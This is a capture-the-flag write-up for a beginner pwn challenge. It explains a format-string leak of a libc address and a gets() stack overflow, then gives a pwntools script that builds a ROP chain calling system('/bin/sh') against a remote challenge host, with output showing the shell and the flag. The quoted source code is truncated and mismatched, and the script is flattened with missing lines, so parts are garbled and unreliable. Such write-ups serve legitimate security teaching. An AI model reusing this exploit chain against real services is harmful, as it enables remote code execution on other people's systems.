# Intro to Pwning 1 - localo

Category: Pwn
Difficulty: Baby
Author: LiveOverflow

## Description

This is a introductory challenge for exploiting Linux binaries with memory corruptions. Nowodays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge. An alternative writeup can also be found by 0x4d5a. More resources can also be found here.

Service running at: hax1.allesctf.net:9100

## Summery

This is the writeup for the first part of the Intro to Pwning series. The author provided a Docker-Compose setup for all three challenges.
The program asks the user for a name and for a spell using a personalized message for the user and says that we are a Hufflepuff. If the spell is Expelliarmus the program returns ~ Protego! otherwise it tells us that we loose 10 Points.

## Solution

I tried to speedrun the three pwn challenges therefore I tried to solve them with minimal effort. I wrote a handy ROP template some time ago so that I just have to get the offsets right.

We have the source code to all challenges.

The code has two vulnerable functions:

void welcome() {
printf("┌───────────────────────┐\n");
printf("│ You are a Hufflepuff! │\n");
printf("└───────────────────────┘\n");
}


The code above is actually vulnerable to two attacks, a stack-buffer overflow using the gets function on the read_buf buffer. This alone would be enough for an exploit, but due to ASLR the chance of success is quite low, because we need to hit the right address when overwriting the return pointer which we can just guess. Luckily the code is vulnerable to another attack which allows us leak some data.

### Format String

The format string attack abuses the way formatting works in function like printf, snprintf, fprintf, ... those functions take a format specifier as their first argument and use this to represent the next arguments. We can lookup the calling convention on wikipedia.

#### System V AMD64 ABI

The calling convention of the System V AMD64 ABI is followed on Solaris, Linux, FreeBSD, macOS, and is the de facto standard among Unix and Unix-like operating systems. The first six integer or pointer arguments are passed in registers RDI, RSI, RDX, RCX, R8, R9 (R10 is used as a static chain pointer in case of nested functions, while XMM0, XMM1, XMM2, XMM3, XMM4, XMM5, XMM6 and XMM7 are used for the first floating point arguments. As in the Microsoft x64 calling convention, additional arguments are passed on the stack.
Source: wikipedia

Using this attack we can read the contents of those Registers (except for RDI which is used for the format specifier) and we can read the content of the stack.

Here is the output of telescope (which prints a fancy back-trace) inside of printf.

00:0000│ rsp  0x7ffe7b03b9e8 —▸ 0x555cb48fda86 ◂— nop
01:0008│ rdi  0x7ffe7b03b9f0 ◂— 'AAAA%43$p' 02:0010│ 0x7ffe7b03b9f8 ◂— 0x70 /* 'p' */ 03:0018│ 0x7ffe7b03ba00 ◂— 0x0 ... ↓ 08:0040│ 0x7ffe7b03ba28 ◂— 0x7f0410000000 09:0048│ 0x7ffe7b03ba30 —▸ 0x7f04afcb3787 ◂— pop rdi /* '__vdso_getcpu' */ 0a:0050│ 0x7ffe7b03ba38 ◂— 0x340 0b:0058│ 0x7ffe7b03ba40 ◂— 0x0 ... ↓ 0d:0068│ 0x7ffe7b03ba50 —▸ 0x7f04b011a100 ◂— 0x0 0e:0070│ 0x7ffe7b03ba58 ◂— 0x1 0f:0078│ 0x7ffe7b03ba60 —▸ 0x7f04b010f4c0 ◂— 0x7f04b010f4c0 10:0080│ 0x7ffe7b03ba68 —▸ 0x7f04afefbf5f ◂— test eax, eax 11:0088│ 0x7ffe7b03ba70 —▸ 0x7f04b011a710 —▸ 0x7ffe7b141000 ◂— jg 0x7ffe7b141047 12:0090│ 0x7ffe7b03ba78 ◂— 0x0 ... ↓ 14:00a0│ 0x7ffe7b03ba88 —▸ 0x7ffe7b141298 ◂— add byte ptr [rdi + 0x5f], bl 15:00a8│ 0x7ffe7b03ba90 ◂— 0x1958ac0 16:00b0│ 0x7ffe7b03ba98 —▸ 0x7f04afcb3787 ◂— pop rdi /* '__vdso_getcpu' */ 17:00b8│ 0x7ffe7b03baa0 —▸ 0x7ffe7b03bb20 ◂— 0x1 18:00c0│ 0x7ffe7b03baa8 —▸ 0x7ffe7b141180 ◂— 0x71dd557e00000007 19:00c8│ 0x7ffe7b03bab0 ◂— 0x7f0400000002 1a:00d0│ 0x7ffe7b03bab8 ◂— 0x0 1b:00d8│ 0x7ffe7b03bac0 —▸ 0x7ffe7b03ba80 ◂— 0x0 1c:00e0│ 0x7ffe7b03bac8 ◂— 0x0 ... ↓ 1e:00f0│ 0x7ffe7b03bad8 ◂— 0xf686a8148ae04b00 1f:00f8│ 0x7ffe7b03bae0 —▸ 0x7ffe7b03bbf0 ◂— 0x1 20:0100│ 0x7ffe7b03bae8 —▸ 0x555cb48fd9e9 ◂— nop 21:0108│ rbp 0x7ffe7b03baf0 —▸ 0x7ffe7b03bb10 —▸ 0x555cb48fdb30 ◂— push r15 22:0110│ 0x7ffe7b03baf8 —▸ 0x555cb48fdb21 ◂— mov eax, 0 23:0118│ 0x7ffe7b03bb00 —▸ 0x7ffe7b03bbf8 —▸ 0x7ffe7b03c821 ◂— '/ctf/pwn1' 24:0120│ 0x7ffe7b03bb08 ◂— 0x100000000 25:0128│ 0x7ffe7b03bb10 —▸ 0x555cb48fdb30 ◂— push r15 26:0130│ 0x7ffe7b03bb18 —▸ 0x7f04afb21b97 (__libc_start_main+231) ◂— mov edi, eax  As you can see there are many interesting addresses to leak, we could leak the return address of welcome (22) and calculate the base address of pwn1, but I decided to go for __libc_start_main+231 (26) as the address can be used to calculate the base address for libc, which in return we can use to build a ROP chain which does not depend on the program and therefore use for the other pwnintro challenges. We can find the right offset by using %(0x5+0xn)$p where n is the offset of the telescope output. Which results in %43$p. Enter your witch name: %43$p
┌───────────────────────┐
│ You are a Hufflepuff! │
└───────────────────────┘

-10 Points for Hufflepuff!


We have address 0x7f1b0a12db97 for __libc_start_main+231 and if we take a look at the virtual memory map:

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x559ba4092000     0x559ba4093000 r-xp     1000 0      /ctf/pwn1
0x559ba4293000     0x559ba4294000 r--p     1000 1000   /ctf/pwn1
0x559ba4294000     0x559ba4295000 rw-p     1000 2000   /ctf/pwn1
0x7f1b0a10c000     0x7f1b0a2f3000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1b0a2f3000     0x7f1b0a4f3000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1b0a4f3000     0x7f1b0a4f7000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1b0a4f7000     0x7f1b0a4f9000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f1b0a4f9000     0x7f1b0a4fd000 rw-p     4000 0
0x7f1b0a4fd000     0x7f1b0a524000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1b0a71a000     0x7f1b0a71c000 rw-p     2000 0
0x7f1b0a724000     0x7f1b0a725000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1b0a725000     0x7f1b0a726000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.27.so
0x7f1b0a726000     0x7f1b0a727000 rw-p     1000 0
0x7fff15c05000     0x7fff15c26000 rw-p    21000 0      [stack]
0x7fff15daa000     0x7fff15dad000 r--p     3000 0      [vvar]
0x7fff15dad000     0x7fff15daf000 r-xp     2000 0      [vdso]


we can see that libc is loaded at 0x7f1b0a10c000

which results in the offset 0x7f1b0a12db97-0x7f1b0a10c000=0x21b97

Before I continue we should take a look at the second vulnerable function:

void AAAAAAAA() {

printf("~ Protego!\n");
} else {
printf("-10 Points for Hufflepuff!\n");
_exit(0);
}
}


Here we have the the same vulnerability, gets on a stack-buffer.

Here is a part of the man entry:

##### DESCRIPTION

Never use this function.
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\0'). No check for buffer overrun is performed (see BUGS below).
Source

We just have to make sure our input does not contain newlines and gets will read it into and over the buffer. This comes quite handy as we have to pass the strcmp(read_buf, "Expelliarmus") check, because _exit(0) would not do a ret. The function tests if two char arrays match until the first nullbyte. Therefore our payload has to start with Expelliarmus\x00.

I won't go too much into the details of ROP, basically it is a code reuse attack where code snippets end with a ret instruction. It is a bit more useful than ret-2-libc, because it can be used to do more complex stuff. For most pwn challenges it is enough to pop the address of /bin/sh\x00 in RDI and call system.

pwntools has a function to search for gadgets.

With all this combined a script can be written to do the work for us.

I used my local libc for this, for the remote exploit we just have to adjust the offsets to the libc in the Docker container.

The padding can be calculated by using cyclic in the overflow , get the value of the return pointer and cyclic_find to get the offset.

$./rop.py debug buffer_overflow [...] cyclic: 0x61616e63  $ ./rop.py remote
[*] '/ctf/pwn1'
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
[x] Opening connection to hax1.allesctf.net on port 9100
[x] Opening connection to hax1.allesctf.net on port 9100: Trying 147.75.85.99
[+] Opening connection to hax1.allesctf.net on port 9100: Done
[*] '/ctf/libc.so'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
[+] __libc_start_main+243: 0x7f8738dea1e3
[*] Switching to interactive mode
~ Protego!
$ls flag pwn1 ynetd$ cat flag
CSCG{NOW_PRACTICE_MORE}
$exit [*] Got EOF while reading in interactive [*] Interrupted  ## Code #!/usr/bin/env python3 from pwn import * from huepy import * import sys import os import socket import subprocess import re vuln_host = 'hax1.allesctf.net'#'127.0.0.1' vuln_port = '9100' app_path = os.getcwd()+'/pwn1' lo = not 'remote' in sys.argv dbg = 'dbg' in sys.argv or 'debug' in sys.argv if dbg: log.setLevel(2) break_main = 'break_main' in sys.argv buffer_overflow = 'buffer_overflow' in sys.argv context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h']) def init_dbg(app_path): args = [] if break_main and not buffer_overflow: args.append('set stop-on-solib-events 1') args.append('continue') args.append('continue') args.append('break __libc_start_main') args.append('commands') args.append('break *$rdi')
args.append('continue')
args.append('end')
args.append('continue')
args.append('delete')
elif buffer_overflow:
args.append('set context-sections ""')
args.append('define hook-stop')
args.append('printf "cyclic: %p\\n", *((int *)$rsp)') args.append('python __import__("time").sleep(10000)') args.append('end') args.append('continue') else: args.append('continue') return gdb.debug(app_path, "\n".join(args)) elf = ELF(app_path) if lo: p = process(app_path) if not dbg else init_dbg(app_path) lib = "/lib/x86_64-linux-gnu/libc.so.6" else: p = remote(vuln_host,vuln_port) lib = "libc.so" libc = ELF(lib) def nop_libc(): rop = ROP(libc) rop.raw(rop.search(regs=[], order = 'regs')[0]) return rop.chain() def leak_libc_start_main(addr): code = libc.disasm(libc.symbols['__libc_start_main'],0x500) r = re.findall(r".*call.*rax.*",code) if len(r)>0: offset = int(r[0].split(":")[0].strip(),16)+len(asm('call rax')) log.success("__libc_start_main+%d: "%(offset-libc.symbols['__libc_start_main']) + green(hex(leak))) libc.address = leak -offset return log.error("failed to leak libc, can't calculate base address") exit(1) def shell_system(): rop = ROP(libc) rop.raw(rop.find_gadget(['pop rdi','ret'])[0]) rop.raw(next(libc.search(b'/bin/sh\x00'))) rop.call(libc.symbols['system']) log.debug("Shell chain: \n" + white(rop.dump())) return rop.chain() #PWN if buffer_overflow: p.sendlineafter(":",b"A") p.sendlineafter(":",b"Expelliarmus\x00"+cyclic(4096)) p.sendlineafter(":\n",b"AAAA%43$p")
leak_libc_start_main(leak)

p.interactive()



## Mitigation

To mitigate this problem the following changes should be made:

• use stack cookies
• use safe functions like read to prevent buffer overflows
• never use printf on user controlled data, use puts or printf("%s",data)

## Flag

CSCG{NOW_PRACTICE_MORE}